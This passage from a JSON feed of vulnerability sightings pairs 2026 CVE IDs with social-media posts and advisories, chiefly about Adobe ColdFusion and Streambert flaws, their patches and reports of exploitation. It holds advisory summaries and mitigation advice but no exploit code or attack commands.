8d...", "creation_timestamp": "2026-08-13T13:31:52.642247Z"}, {"uuid": "07495b6c-144f-4110-bb0c-be5114e18881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48284", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:52.726167Z"}, {"uuid": "95b451f6-6c97-46a0-9bd6-ec418cc3f9e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48321", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:52.815703Z"}, {"uuid": "eb9c97e8-0e76-4394-ad70-ad4ad3e563d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48325", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:52.908637Z"}, {"uuid": "34a54f7b-0cba-4944-ad15-dac6fed127a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48319", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:52.952630Z"}, {"uuid": "3859a98d-88e4-4976-9da6-8a152e6abdb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48324", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:53.018270Z"}, {"uuid": "b5faa4ec-a2a3-4fcf-9f75-03afa4dd66a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48327", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msxqwzctcs23", "content": "Adobe\u304cColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u516c\u958b\n\nColdFusion\u3067\u89e3\u6c7a\u3055\u308c\u305f13\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306e\u3046\u3061\u30018\u4ef6\uff08CVE-2026-48318\u3001CVE-2026-48322\u3001CVE-2026-48284\u3001CVE-2026-48321\u3001CVE-2026-48325\u3001CVE-2026-48319\u3001CVE-2026-48324\u3001CVE-2026-48327\uff09\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u91cd\u5927\u306a\u554f\u984c\u3067\u3059\u3002\n\n\u91cd\u5927\u306a\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3001\u30b3\u30fc\u30c9\u30fb\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3001\u8a8d\u8a3c\u306e\u6b20\u5982\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001\u304a\u3088\u3073\u4e0d\u9069\u5207\u306a\u8a8d...", "creation_timestamp": "2026-08-13T13:31:53.063142Z"}, {"uuid": "b240677e-21e4-4edf-a725-426e70dd0253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48088", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117051283088575349", "content": "CVE-2026-48088 | CRITICAL in open-reception appointment-booking-software <1.0.4: Missing authorization on crypto key API lets attackers decrypt appointments & disrupt flows. Patch to 1.0.4 now. https://radar.offseq.com/threat/cve-2026-48088-cwe-862-missing-authorization-in-open-reception-appointment-booking-software-d1c4584f6afe2ecc#OffSeq #CVE202648088 #Vuln #AppSec", "creation_timestamp": "2026-08-07T00:00:39.023930Z"}, {"uuid": "0a2d7ec6-3498-4b5f-ace2-cf7594c897c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48088", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mshasycdxy2j", "content": "CRITICAL: open-reception appointment-booking-software <1.0.4 lets unauthenticated attackers break E2E encryption & access sensitive data. Upgrade to 1.0.4+ now. https://radar.offseq.com/threat/cve-2026-48088-cwe-862-missing-authorization-in-open-reception-appointment-booking-software-d1c4584f6afe...", "creation_timestamp": "2026-08-07T00:00:40.882661Z"}, {"uuid": "6b8c0240-cb12-4680-b06c-d4f012a05fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48056", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mssspgyym42o", "content": "CVE-2026-48056 - streambert\nStreambert, a video streaming app, has a security issue where a hacker could run any program on your computer with the app's permissions. This is a concern because it could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#streambert #truelockmc #CVE #infosec", "creation_timestamp": "2026-08-11T14:20:05.852660Z"}, {"uuid": "1d36ab2d-016a-4d05-a6df-b0549d2be27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48056", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3yapawgn245x4", "content": "CVE-2026-48056 - Streambert Vulnerable to Arbitrary Binary Execution via Downloader IPC Handler\nCVE ID : CVE-2026-48056\n \n Published : Aug. 11, 2026, 2:17 p.m. | 14\u00a0minutes ago\n \n Description : Streambert is a cross-platform Electron Desktop App to stream and download video co...", "creation_timestamp": "2026-08-11T15:06:13.572005Z"}, {"uuid": "21283438-71e5-4072-97cb-f85818f1c818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48046", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/7sruf6cwnc4tr", "content": "CVE-2026-48046 - Streambert Vulnerable to Remote Code Execution (RCE) via Unvalidated Auto-Updater IPC Handler\nCVE ID : CVE-2026-48046\n \n Published : Aug. 11, 2026, 2:17 p.m. | 14\u00a0minutes ago\n \n Description : Streambert is a cross-platform Electron Desktop App to stream and do...", "creation_timestamp": "2026-08-11T15:12:13.071904Z"}, {"uuid": "ebc0bf9e-8c67-4954-915e-72ee1d7b25a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48024", "type": "seen", "source": "https://www.acn.gov.it/portale/w/wazuh-poc-pubblici-per-lo-sfruttamento-di-varie-vulnerabilita", "content": "", "creation_timestamp": "2026-08-21T16:45:05.933636Z"}, {"uuid": "798270da-10ce-449d-beaf-46405e26ff19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48162", "type": "seen", "source": "https://www.acn.gov.it/portale/w/wazuh-poc-pubblici-per-lo-sfruttamento-di-varie-vulnerabilita", "content": "", "creation_timestamp": "2026-08-21T16:45:08.196885Z"}, {"uuid": "4be55ef9-98fd-44fd-b4fd-b9ee2531772f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48046", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mssw2p47rs2r", "content": "CVE-2026-48046\nStreambert versions before 2.5.0 have a security issue that lets hackers trick the app into downloading and running malicious code. This could allow an attacker to take control of your computer. To stay safe,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-11T15:20:04.982371Z"}, {"uuid": "5bcfb82f-c14d-4a4c-8984-d24f472dcb44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://www.cert.dk/news/2026-07-06/Saarbarhederne-vaelter-ind-juni-saetter-tempoet-op-i-trusselslandskabet", "content": "", "creation_timestamp": "2026-07-06T09:45:20.713535Z"}, {"uuid": "f098c920-e675-44ab-8a89-6accb2ea0b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4879", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msxssijrld2m", "content": "\ud83d\udd17 CVE : CVE-2025-9486, CVE-2026-15216, CVE-2026-15217, CVE-2026-15423, CVE-2026-16494, CVE-2026-16627, CVE-2026-18244, CVE-2026-18433, CVE-2026-19228, CVE-2026-4879, CVE-2026-6821, CVE-2026-7427, CVE-2026-8667", "creation_timestamp": "2026-08-13T14:05:08.242447Z"}, {"uuid": "b80a7d32-6aa3-4bb9-82f8-fe29fcea9e4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mpxywpkd3r2a", "content": "\ud83d\udea8 A brand new CVE, and attackers already have it weaponized.\n\nCVE-2026-48558.\n\nhttps://www.yazoul.net/malware/agent-tesla-2026-07/reports/2026-07-05/\n\n#CyberSecurity #PatchNow", "creation_timestamp": "2026-07-06T11:39:16.208499Z"}, {"uuid": "1c412c4c-3961-4c01-801f-63c8280b44cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48276", "type": "seen", "source": "https://gist.github.com/alon710/5cc09119469b7bc7e37fcd9f59fdfdb0", "content": "# CVE-2026-48276: CVE-2026-48276: Unrestricted File Upload in Adobe ColdFusion\n\n> **CVSS Score:** 10.0\n> **Published:** 2026-06-30\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48276\n\n## Summary\nAdobe ColdFusion versions 2025.9 and 2023.20 and earlier are affected by an Unrestricted Upload of File with Dangerous Type vulnerability (CWE-434). An unauthenticated remote attacker can exploit this flaw to upload malicious ColdFusion Markup Language (CFML) files directly into web-accessible directories. Accessing the uploaded script triggers arbitrary code execution in the security context of the running service account.\n\n## TL;DR\nA critical-severity unrestricted file upload vulnerability in Adobe ColdFusion allows unauthenticated remote attackers to execute arbitrary system commands via crafted web scripts.\n\n## Technical Details\n\n- **CWE ID**: CWE-434\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 10.0 (Critical)\n- **Exploit Status**: No public exploits currently documented\n- **KEV Status**: Not listed in CISA KEV catalog\n- **Impact**: Unauthenticated Remote Code Execution\n\n## Affected Systems\n\n- Adobe ColdFusion 2023\n- Adobe ColdFusion 2025\n\n## Mitigation\n\n- Deploy official security hotfixes from Adobe immediately.\n- Implement strict web-server level execute permission restrictions on all upload directories.\n- Configure the ColdFusion application runtime to execute under a dedicated low-privilege service account.\n\n**Remediation Steps:**\n1. Audit all corporate networks to locate active ColdFusion 2023 and 2025 deployments.\n2. For ColdFusion 2025 instances, apply Update 10 or later.\n3. For ColdFusion 2023 instances, apply Update 21 or later.\n4. Confirm patch application by reviewing the active updates tab in the ColdFusion Administrator console.\n5. Configure web server execution maps to prevent execution of server-side files within writable storage directories.\n\n## References\n\n- [Official Adobe Security Advisory (APSB26-68)](https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html)\n- [CVE-2026-48276 Record on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-48276)\n- [Wiz Vulnerability Database Details](https://www.wiz.io/vulnerability-database/cve/cve-2026-48276)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48276) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-06T11:51:38.029504Z"}, {"uuid": "0bbf7e9c-7e32-4192-be39-3a393bfd2879", "vulnerability_lookup_origin": "cce329bf-df49-4c6e-a027-80be2e6483bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b3395aed-c1a6-41e0-afc5-698af243eb5b", "content": "", "creation_timestamp": "2026-07-06T12:00:01.834759Z"}, {"uuid": "685d9958-5ef8-400e-9208-957c008b1b26", "vulnerability_lookup_origin": "cce329bf-df49-4c6e-a027-80be2e6483bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/93758b51-8ab7-42f8-9828-660f99fe11eb", "content": "", "creation_timestamp": "2026-07-06T12:00:01.918728Z"}, {"uuid": "48ecb12c-654e-4ac1-837e-64dfcbee0c18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mpy24kq7yo2w", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-46817, CVE-2026-48558, CVE-2026-8451, CVE-2026-45659, CVE-2026-12569\nActors: Ransomware, Apt, Scattered Spider\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-07-06T12:00:26.104927Z"}, {"uuid": "01498535-32c0-4bf7-9b5d-e9f352fae2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mpy6ivjebg2g", "content": "Attackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, the Canadian Center for Cyber Security (CCCS) warned on Thursday.", "creation_timestamp": "2026-07-06T13:18:55.750781Z"}, {"uuid": "9dbf2572-00bb-448a-bd11-57afc5ed7569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mpy7ybcakp2i", "content": "Adobe ColdFusion is under active attack via CVE-2026-48282, a max-severity flaw enabling unauthenticated remote code execution. Affected versions include 2025.9, 2023.20, and earlier. #Adobe #ColdFusion #CVE-2026-48282", "creation_timestamp": "2026-07-06T13:45:25.209900Z"}, {"uuid": "245997a1-bd86-4abc-822a-9b70d0bfb2c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mpyavprrqm2d", "content": "Adobe ColdFusion \u306e\u6700\u5927\u6df1\u523b\u5ea6\u8106\u5f31\u6027 CVE-2026-48282 \u304c\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u308b\n\n\u30ab\u30ca\u30c0\u30fb\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bb\u30f3\u30bf\u30fc(CCCS)\u304c\u3001Adobe ColdFusion \u306e\u6700\u5927\u6df1\u523b\u5ea6\u8106\u5f31\u6027 CVE-2026-48282 \u304c\u5b9f\u969b\u306e\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u8b66\u544a\u3057\u307e\u3057\u305f\u3002ColdFusion \u30e6\u30fc\u30b6\u30fc\u306f\u7dca\u6025\u306e\u5bfe\u5fdc\u304c\u5fc5\u8981\u3067\u3059\u3002\n\n#CVE #\u8106\u5f31\u6027 #\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "creation_timestamp": "2026-07-06T14:01:53.243255Z"}, {"uuid": "2c9874d0-f537-44e2-9429-baf4619acaf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/etairos-ai.bsky.social/post/3mpyb3rchdd2l", "content": "Max-severity Adobe ColdFusion RCE (CVE-2026-48282) is under active attack. Internet-facing ColdFusion servers are exposed to remote takeover now. Patch and hunt for compromise. #ThreatIntel #ICS https://threat-intelligence.redeyesecurity.com/blog/adobe-coldfusion-cve-2026-48282-exploited-2026", "creation_timestamp": "2026-07-06T14:05:16.208729Z"}, {"uuid": "1925b61d-7527-4aae-8c77-84ecfcd7e6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mpybpgbtpi2k", "content": "Max-Severity Adobe ColdFusion Flaw CVE-2026-48282 Now Actively Exploited \u2014 Patch Immediately\n\nhttps://blindthoughts.com/adobe-coldfusion-cve-2026-48282-actively-exploited\n\n#vulnerability #adobecoldfusion #cve #exploit #patchnow", "creation_timestamp": "2026-07-06T14:16:15.255342Z"}, {"uuid": "6696553d-87fe-4517-b3af-fc50488236ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mpycjn5vnf24", "content": "A max severity Adobe ColdFusion flaw (CVE-2026-48282) saw active exploitation just 48 hours after patches dropped. This isn't just a patch; it's a race against threat actors weaponizing vulnerabilities faster than ever.\n\nhttps://www.tpp.blog/usxsd70\n\n#cybersecurity #adobecoldfusion #cve202648282", "creation_timestamp": "2026-07-06T14:30:55.274543Z"}, {"uuid": "09f47ab9-42bc-4314-b14a-f1d93f3d9a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpydklgprv2k", "content": "CVE-2026-48282: Adobe ColdFusion Exploitation Demands Immediate Action #CVE202648282 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T14:49:20.986698Z"}, {"uuid": "408de7fc-eef1-42c6-a537-0a9f1aadbd96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpydknjguh2q", "content": "CVE-2026-48282: Adobe ColdFusion Exploit Exposes Unpatched Systems #CVE202648282 #AdobeColdFusion #CyberSecurity", "creation_timestamp": "2026-07-06T14:49:23.600774Z"}, {"uuid": "3b69bf4c-1c52-4bb2-beab-e5aea7eb81c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpydkpqcnl26", "content": "CVE-2026-48282: Immediate Action Required to Mitigate ColdFusion Exploits #CVE202648282 #ColdFusion #AdobeSecurity", "creation_timestamp": "2026-07-06T14:49:25.524411Z"}, {"uuid": "d981784d-a875-4feb-86e0-ac4d63bf0048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpydkrxd7x2d", "content": "CVE-2026-48282: Exploitation of Adobe ColdFusion Flaw Reveals Process Gaps #CVE2026 #AdobeColdFusion #cybersecurity", "creation_timestamp": "2026-07-06T14:49:27.595980Z"}, {"uuid": "21ca72e3-51bb-4e3d-8ec4-74d4a014062a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpydkttfxl26", "content": "CVE-2026-48282: Adobe ColdFusion's Severe Flaw Defies Clarity Amid Panic #AdobeColdFusion #CVE202648282 #CyberSecurity", "creation_timestamp": "2026-07-06T14:49:29.634356Z"}, {"uuid": "0064167f-8cc6-4abe-9e68-d5f2979ec60a", 